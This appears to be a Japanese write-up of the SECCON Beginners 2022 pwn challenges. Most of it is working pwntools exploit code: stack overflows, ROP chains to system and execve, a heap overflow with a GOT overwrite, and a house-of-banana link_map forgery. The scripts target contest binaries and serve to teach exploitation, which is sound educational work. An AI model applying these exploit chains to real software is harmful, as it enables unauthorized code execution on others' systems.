SECCON Beginners 2022 Writeup

SECCON Beginners 2022に参加しました。
pwnはMonkey Heap以外は解けたのですが、時間内にMonkey Heapを解くことはできませんでした。

BeginnersBof (155 solve)

What's your name?ubuntu@:~/Desktop$ nc beginnersbof.quals.beginners.seccon.jp 9000
How long is your name?12

What's your name?
TEST
Hello TEST

最初に文字数を聞かれて、その後文字列の入力をすると返してくれる。
普通にBoFがある。

また、checksecをすると下記の通りかなり薄い。

0x0000000000401315 in main ()
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

ソースコードが配布されていて、win()関数が存在する。
PIEも無効、Canaryもないので、Returnアドレスを書き換えるだけでシェルが取れる。

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/seccon/BeginnersBof/chall")

#p=process("//home/ubuntu/Desktop/ctf/seccon/BeginnersBof/chall"
#          , aslr=False)
p=remote("beginnersbof.quals.beginners.seccon.jp",9000)

#gdb.attach(p)

p.sendlineafter("How long is your name?", str(0x50))
p.sendlineafter("What's your name?", cyclic(40)+p64(elf.symbols["win"]))

p.interactive()

raindrop (52 solve)

下記のような教育的なROPの問題

ubuntu@ip-:~/Desktop/ctf/seccon/raindrop/raindrop$ ./chall 
Hey! You are now going to try a simple problem using stack buffer overflow and ROP.

I will list some keywords that will give you hints, so please look them up if you don't understand them.

- stack buffer overflow
- return oriented programming
- calling conventions

stack dump...

[Index] |[Value]             
========+===================
 000000 | 0x0000000000000000  <- buf
 000001 | 0x0000000000000000 
 000002 | 0x00007ffc89593b80  <- saved rbp
 000003 | 0x00000000004011ff  <- saved ret addr
 000004 | 0x0000000000000000 
finish
You can earn points by submitting the contents of flag.txt
Did you understand?
AAAAAAAAAAA
bye!
stack dump...

[Index] |[Value]             
========+===================
 000000 | 0x4141414141414141  <- buf
 000001 | 0x000000000a414141 
 000002 | 0x00007ffc89593b80  <- saved rbp
 000003 | 0x00000000004011ff  <- saved ret addr
 000004 | 0x0000000000000000 
finish

セキュリティ機構もかなり薄い。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

rp++でgadgetを探してみると、pop rdiのgadgetがある。
0x00401453をつかってROPしていけばよい。

ubuntu@ip-:~/Desktop/ctf/seccon/raindrop/raindrop$ rp-lin-x64 -r 1 -f chall --unique | grep "rdi"
0x0040143a: call qword [rdi+rbx*8] ;  (1 found)
0x00401146: or dword [rdi+0x00404058], edi ; jmp rax ;  (1 found)
0x00401438: out 0x41, eax ; call qword [rdi+rbx*8] ;  (1 found)
0x00401453: pop rdi ; ret  ;  (1 found)

このプログラムの中ではsystem関数を呼んでいるので、
ret2pltによってrdiにflag.txtを入れたうえでcat systemをするだけだと思ったが、(/bin/shでもいいと思うが)
スタックアラインメントで落ちてしまう。ret gadgetを使ってstackを調整しようにも、stackが足りない。
どうしたものか…と5分ほど思ったが pltから呼ぶ必要はない。
ソースコードの中にある、help関数の中のアドレスを指定して飛ぶことができた。

import logging

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/seccon/raindrop/raindrop/chall")
p=process("/home/ubuntu/Desktop/ctf/seccon/raindrop/raindrop/chall"
          , aslr=False)

#p=remote("beginnersbof.quals.beginners.seccon.jp",9000)

gdb.attach(p)

p.recvuntil(" 000002 | ")
stack_leak=int(p.recv(18), 16)
p.recvuntil(" 000003 | ")
base_leak=int(p.recv(18), 16)

log.info("stack_address is "+hex(stack_leak))
pop_rdi=0x00401453
system_func=0x4011e5
p.sendline("/bin/sh".encode()+b"\x00"+p64(0)+p64(0xdeadbeef)
           +p64(pop_rdi)+p64(stack_leak-0x20)+p64(system_func))

p.interactive()

simplelist (32 solve)

下記の通りシンプルなメモ。
よくあるヒープ問題に見える。

ubuntu@ip-:~/Desktop/ctf/seccon/simplelist$ ./chall 
Welcome to memo organizer

1. Create new memo
2. Edit existing memo
3. Show memo
4. Exit
> 1
[debug] new memo allocated at 0x227f2a0
Content: AAAA
first entry created at 0x227f2a0

1. Create new memo
2. Edit existing memo
3. Show memo
4. Exit
> 3

List of current memos
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
[debug] memo_list[0](0x227f2a0)->content(0x227f2a8) AAAA
[debug] next(0x227f2a0): (nil)
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-

print debugができるので、heapのアドレスのリークができる。
また、色々やってるとHeap BOFがあることがわかる。
libc versionは2.33で比較的新しい気がするが、

typedef struct memo {
    struct memo *next;
    char content[CONTENT_SIZE];
} Memo;

上記の構造体をbofで書き換えることができる。
この問題はfreeが無いが隣接したチャンクを書き換えることができるので、
文字列ポインタを書き換えることで何とかgotからleakできそう。
かつ、内容も書き換えることができる。
これでAARもAAWもあるので終わり。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

RELROもPIEもdisableなので、GOTからlibcをリークできるし
GOT overwriteでシェルをとることができる。

import logging

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/seccon/simplelist/chall")
libc=ELF("/home/ubuntu/Desktop/ctf/seccon/simplelist/libc-2.33.so")

#p=process("/home/ubuntu/Desktop/ctf/seccon/simplelist/chall"
#          , aslr=False)
p=remote("simplelist.quals.beginners.seccon.jp",9003)

#gdb.attach(p)

def create_memo(content):
    p.sendlineafter(">", "1")
    p.recvuntil("new memo allocated at ")
    pointer=int(p.recvline(),16)
    p.sendlineafter("Content:", content)
    return(pointer)

def edit_memo(index, content):
    p.sendlineafter(">", "2")
    p.sendlineafter("index", str(index))
    p.recvuntil("Old content: ")
    old=p.recvline()
    p.sendlineafter("New content:", content)
    return old

create_memo(cyclic(0x18))
create_memo(cyclic(0x18))
create_memo(cyclic(0x18))

atoi=0x00000000004010d6
edit_memo(1, "A".encode()*0x18+p64(0)+p64(0x31)+p64(elf.got["setvbuf"]))
libc_base=u64(edit_memo(3, p64(atoi))[0:6].ljust(8,b"\x00"))-libc.symbols["atoi"]

log.info("libc base is:"+hex(libc_base))

#over write atoi to system
edit_memo(3, p64(libc_base+libc.symbols["system"]))

p.interactive()

取り合えずatoiからlibc leakして、そのあとはatoiのGOTをover writeした。
そのあと、/bin/shを入れるとシェルが取れる。

snowdrop (44 solve)

raindropとほとんど同じ。

セキュリティ機構は下記の通り

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

基本的にはbofがある。スタックの長さもraindropより長いので、ropできる。

0x0044b5f7: pop rax ; ret  ;  (5 found)
0x00401b84: pop rdi ; ret  ;  (166 found)
0x0040a29e: pop rsi ; ret  ;  (37 found)
0x004186f4: syscall  ; ret  ;  (8 found)

ROPしてexecveをする。

from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']

elf=ELF("/home/ubuntu/Desktop/ctf/seccon/snowdrop/chall")

#p=process("/home/ubuntu/Desktop/ctf/seccon/snowdrop/chall"
#          , aslr=False)
p=remote("snowdrop.quals.beginners.seccon.jp",9002)

#gdb.attach(p)

p.recvuntil(" 000003 | ")
base_leak=int(p.recv(18), 16)
p.recvuntil(" 000006 | ")
stack_leak=int(p.recv(18), 16)

log.info("stack_address is "+hex(stack_leak))
pop_rdi=0x00401b84
pop_rax=0x0044b5f7
pop_rsi=0x0040a29e
syscall=0x004186f4

p.sendline("/bin/sh".encode()+b"\x00"+p64(0)+p64(0xdeadbeef)
           +p64(pop_rdi)+p64(stack_leak-0x268)
           +p64(pop_rax)+p64(59)
           +p64(pop_rsi)+p64(0x0)
           +p64(syscall))

p.interactive()

Monkey Heap (3 solve)

解けなかった。
なぜか私の環境だとPIEが無効に見えた。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

(本当はPIE有効なのだが…)

PIEが無効だと、Large bin attackでpapyrusが保存されているBSS領域にchunkのアドレスを入れ、
Unsafe unlinkを使うことでpapyrusのアドレスを書き換えることができてAAW, AARのPrimitiveを作ることができる。
これで、libc のenvironからスタックアドレスリークをしてROPをすることでシェルをとることができた。(glibc 2.31だが…)

しかし、PIEが有効だと、papyrusのアドレスを特定することができない。

その後、何時間か粘った。
自分の中で試した手法は下記。

1…large bin attackでglobal_max_fastの書き換えからの、fastbin unlinkでlibc内書き換え(いわゆる house of corrosion)
  → この問題は、mallocできるサイズに自由度が無い。(0x500 - 0x600まで)これだと、libc内で書き換えることができる領域が無い。

2…large bin attackでglobal_max_fastの書き換えからの、fastbin dupでどこか書き換え
  → fastbin unlinkの際のサイズ制限とalignmentによってまともに動かなかった。

3…large bin attackでlibcのstdinのvtable(_IO_file_jumps)ポインタの書き換えて、_IO_file_jumpsを偽造
  → vtableの範囲チェックに触れて動かなかった。

ということで、お手上げになった。
large bin attackで、チャンクのメモリアドレスを任意のアドレスに書き込むことができるが、
どうしてもprocess baseアドレスがわからなかったり、うまくいく方法が無い。
ついでにいうとglibc 2.35の環境が私の手元に無い。

ポイントはexit関数のflowを操作することだったように見える。
exitの中では色々な関数が呼ばれている。例えば__call_tls_dtors (void)とか。

作問者様のツイートを見たところ、house of bananaというのが想定解法らしい。
house of bananaは初耳だったが、exit関数の中のフローをハイジャックする手法の様だ。
これはどうやらlarge bin attackによって_rtld_global構造体なるものを書き換えるテクニックらしい
house of banana | C4SE
Glibc 2.33利用技巧 | Nop's Blog

上記のサイトを参考にさせていただいた。

_rtld_global構造体はld.soの中に入っている。
rtld.c source code [glibc/elf/rtld.c] - Woboq Code Browser

私の環境glibc2.31だと下記のようになっていた。
(すごく長いので途中で切ってる)

gdb-peda$ p *((struct rtld_global *)0x155555554060)
$1 = {
  _dl_ns = {{
      _ns_loaded = 0x155555555190,
      _ns_nloaded = 0x4,
      _ns_main_searchlist = 0x155555555450,
      _ns_global_scope_alloc = 0x0,
      _ns_global_scope_pending_adds = 0x0,
      _ns_unique_sym_table = {

いくつかのメンバを持っているが、この構造体が_dl_fini関数の中で使われているらしい

この構造体の_ns_loaded = 0x155555555190これがlink map構造体を指している。
linkmap構造体は下記のような形をしている。

gdb-peda$ p *((struct link_map *)0x155555555190)
$2 = {
  l_addr = 0x555555554000,
  l_name = 0x155555555730 "",
  l_ld = 0x555555557d80,
  l_next = 0x155555555740,
  l_prev = 0x0,
  l_real = 0x155555555190,
  l_ns = 0x0,
  l_libname = 0x155555555718,
  l_info = {0x0, 0x555555557d80, 0x555555557e60, 0x555555557e50, 0x0, 0x555555557e00, 0x555555557e10, 0x555555557e90, 0x555555557ea0, 0x555555557eb0, 
    0x555555557e20, 0x555555557e30, 0x555555557d90, 0x555555557da0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555557e70, 0x555555557e40, 0x0, 0x555555557e80, 
    0x555555557ed0, 0x555555557db0, 0x555555557dd0, 0x555555557dc0, 0x555555557de0, 0x0, 0x555555557ec0, 0x0, 0x0, 0x0, 0x0, 0x555555557ef0, 
    0x555555557ee0, 0x0, 0x0, 0x555555557ed0, 0x0, 0x555555557f10, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555557f00, 0x0 <repeats 25 times>, 
    0x555555557df0},
  l_phdr = 0x555555554040,
  l_entry = 0x555555555180,
  l_phnum = 0xd,
  l_ldnum = 0x0,
  l_searchlist = {
    r_list = 0x15555551e560,
    r_nlist = 0x3
  },
  l_symbolic_searchlist = {
    r_list = 0x155555555710,
    r_nlist = 0x0
  },
  l_loader = 0x0,
  l_versions = 0x15555551e580,
  l_nversions = 0x5,
  l_nbuckets = 0x3,
  l_gnu_bitmask_idxbits = 0x0,
  l_gnu_shift = 0x6,
  l_gnu_bitmask = 0x5555555543b0,
  {
    l_gnu_buckets = 0x5555555543b8,
    l_chain = 0x5555555543b8
  },
  {
    l_gnu_chain_zero = 0x555555554388,
    l_buckets = 0x555555554388
  },
  l_direct_opencount = 0x1,
  l_type = lt_executable,
  l_relocated = 0x1,
  l_init_called = 0x1,
  l_global = 0x1,
  l_reserved = 0x0,
--Type <RET> for more, q to quit, c to continue without paging--

これまた非常に長い構造体だが、l->l_infoの中で.fini_arrayを指し示すポインタがあって、
そこが_dl_finiで下記のように参照されて呼ばれている。

                      /* First see whether an array is given.  */
                      if (l->l_info[DT_FINI_ARRAY] != NULL)
                        {
                          ElfW(Addr) *array =
                            (ElfW(Addr) *) (l->l_addr
                                            + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);

処理を追っていくことにする。
__run_exit_handlerの中でcall rdxがある。これで、シンボルのない謎の関数に飛んでいる。
この関数が__dl_finiである。

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x155555519ca0 --> 0x0 
RBX: 0x155555518718 --> 0x155555519ca0 --> 0x0 
RCX: 0x1 
RDX: 0x155555537d50 (endbr64)
RSI: 0x0 
RDI: 0x0 
RBP: 0x0 
RSP: 0x7fffffffec80 --> 0x5555555555e0 (<__libc_csu_init>:	endbr64)
RIP: 0x1555553728d5 (<__run_exit_handlers+245>:	call   rdx)
R8 : 0xd ('\r')
R9 : 0x0 
R10: 0x1555554c7ac0 --> 0x100000000 
R11: 0x246 
R12: 0x0 
R13: 0x1 
R14: 0x15555551d2e8 --> 0x0 
R15: 0x155555519ca0 --> 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x1555553728c6 <__run_exit_handlers+230>:	mov    esi,ebp
   0x1555553728c8 <__run_exit_handlers+232>:	ror    rdx,0x11
   0x1555553728cc <__run_exit_handlers+236>:	xor    rdx,QWORD PTR fs:0x30
=> 0x1555553728d5 <__run_exit_handlers+245>:	call   rdx
   0x1555553728d7 <__run_exit_handlers+247>:	
    jmp    0x15555537284a <__run_exit_handlers+106>
   0x1555553728dc <__run_exit_handlers+252>:	nop    DWORD PTR [rax+0x0]
   0x1555553728e0 <__run_exit_handlers+256>:	mov    rax,QWORD PTR [rax+0x18]
   0x1555553728e4 <__run_exit_handlers+260>:	ror    rax,0x11
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0x0 
arg[2]: 0x155555537d50 (endbr64)
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffec80 --> 0x5555555555e0 (<__libc_csu_init>:	endbr64)
0008| 0x7fffffffec88 --> 0x1ffffecd0 
0016| 0x7fffffffec90 --> 0x555555555180 (<_start>:	endbr64)
0024| 0x7fffffffec98 --> 0x5555555555e0 (<__libc_csu_init>:	endbr64)
0032| 0x7fffffffeca0 --> 0x0 
0040| 0x7fffffffeca8 --> 0x555555555180 (<_start>:	endbr64)
0048| 0x7fffffffecb0 --> 0x7fffffffedc0 --> 0x1 
0056| 0x7fffffffecb8 --> 0x0 
[------------------------------------------------------------------------------]

__dl_fixに飛ぶところ。

やるべきことは、link_mapの偽造を行って、指定したアドレスに飛ばすことなのだが
それがなかなか難しい。

適当なlink mapを入れてみればいかに難しいかわかるだろう。
たとえば 偽のlink_mapが保存されているmalloc chunkのアドレスをheap_leakとすると

link_map=p64(0)*32 + p64(heap_leak+0x120)+p64(0)+p64(0xdeadbeef)

これをlink_mapとしていれると、途中にあるチェックに引っかかってしまう。

Inconsistency detected by ld.so: dl-fini.c: 87: _dl_fini: Assertion `ns != LM_ID_BASE || i == nloaded' failed!

制約をうまくクリアできるようなlink mapを作っていくこととする。

試してみるとわかるが、とにかく難しい。
とりあえずpocをまねしつつ、dl_fixとにらめっこしながら通るのを書き上げた

import warnings
from pwn import *
context.arch="i386"
context.terminal = ['mate-terminal', '-e']
warnings.simplefilter('ignore')


p=process("/hostshare/monkey/bin/chall"
          , aslr=True
          ,env={"LD_PRELOAD" : "/hostshare/monkey/bin/libc.so.6"} )

#p=remote("monkey.quals.beginners.seccon.jp",9999)

#gdb.attach(p)

def new_papyrus(index, size):
    p.sendlineafter(">", str(1))
    p.sendlineafter("index:", str(index))
    p.sendlineafter("size:", str(size))
    return

def write_papyrus(index, data):
    p.sendlineafter(">", str(2))
    p.sendlineafter("index:", str(index))
    p.sendlineafter("data:", data)
    return

def read_papyrus(index):
    p.sendlineafter(">", str(3))
    p.sendlineafter("index:", str(index))
    p.recvuntil("papyrus:")
    return p.recvline()

def burn_papyrus(index):
    p.sendlineafter(">", str(4))
    p.sendlineafter("index:", str(index))
    return

new_papyrus(0, 0x528)
new_papyrus(1, 0x548)
new_papyrus(2, 0x518)
new_papyrus(3, 0x548)

burn_papyrus(0)
burn_papyrus(2)

p.sendlineafter(">", str(3))
p.sendlineafter("index:", str(0))
p.recvuntil("papyrus: ")
libc_leak=u64(p.recvuntil(">").replace(">".encode(),"".encode()).ljust(8, b"\x00"))
log.info("libc_leak is :"+hex(libc_leak))

p.sendline(str(3))
p.sendlineafter("index:", str(2))
p.recvuntil("papyrus: ")
heap_leak=u64(p.recvuntil(">").replace(">".encode(),"".encode()).ljust(8, b"\x00"))
log.info("heap_leak is :"+hex(heap_leak))

libc_base=libc_leak-0x219CE0 #remote
#libc_base=libc_leak-0x1ECBE0 #local

log.info("libc base is :"+hex(libc_base))

p.sendline(str(1))
p.sendlineafter("index:", str(0))
p.sendlineafter("size:", str(0x528))
new_papyrus(2, 0x518)

# large bin attack to make global_max_fast bigger
# free p1 (into unsorted bin)
burn_papyrus(0)

# malloc p3 (largest) to make chunk 0 into large bin
new_papyrus(3, 0x548)

# free p2 (into unsorted bin)
burn_papyrus(2)

# over write _rtld_global
addres_of_linfo=libc_base+0x264040 #remote
#addres_of_linfo=libc_base+0x228060
write_papyrus(0, p64(libc_leak+0x430)+p64(libc_leak+0x430)+p64(heap_leak)+p64(addres_of_linfo-0x20))
# malloc p3 to make p2 into large bin.
new_papyrus(3, 0x548)

large_bin=heap_leak+0xA80
one_gadget = 0xebcf1
log.info("one gadget is "+hex(libc_base+one_gadget))
link_map=p64(large_bin+0xdad)\
         +p64(large_bin+0x20)\
         +p64(large_bin+0x620)\
         +p64(large_bin)\
         +p64(0)\
         +p64(large_bin+0x28)+p64(large_bin+0x50)\
         +p64(large_bin+0x20)\
         +p64(large_bin+0x28)\
         +p64(0)+p64(0)+p64(0)+p64(0)\
         +p64(large_bin+0x50)+p64(0)*18\
         +p64(large_bin+0x190)+p64(0)\
         +p64(large_bin+0x128)+p64(0)\
         +p64(0x8)+p64(0)*11+p64(0x1a)+p64(large_bin+0x320)+p64(0)+p64(0)*46+p64(0x0000000800000001)+p64(libc_base+one_gadget)

write_papyrus(2, link_map)
p.sendline("5")
p.interactive()

そしてローカルの2.35では動くのに、リモートでは動かない。
これは原因不明だし心が折れた。

ちなみに、_dl_rtld_lock_recursiveを書き換えてもRIPを取れるようだ。

とりあえず書き換えてみたら確かにRIPは取れた。
とはいえ、今回のケースは、AAWはまだないので、この方法は直接は使えない。
(heap領域に飛ばして終わりになっちゃう)
malloc hookとかがなくなった世界では役立ちそうな候補ですね。

…_IO_list_all書き換えでhouse of orangeできたりしないのかな?
暇な時にやってみたい。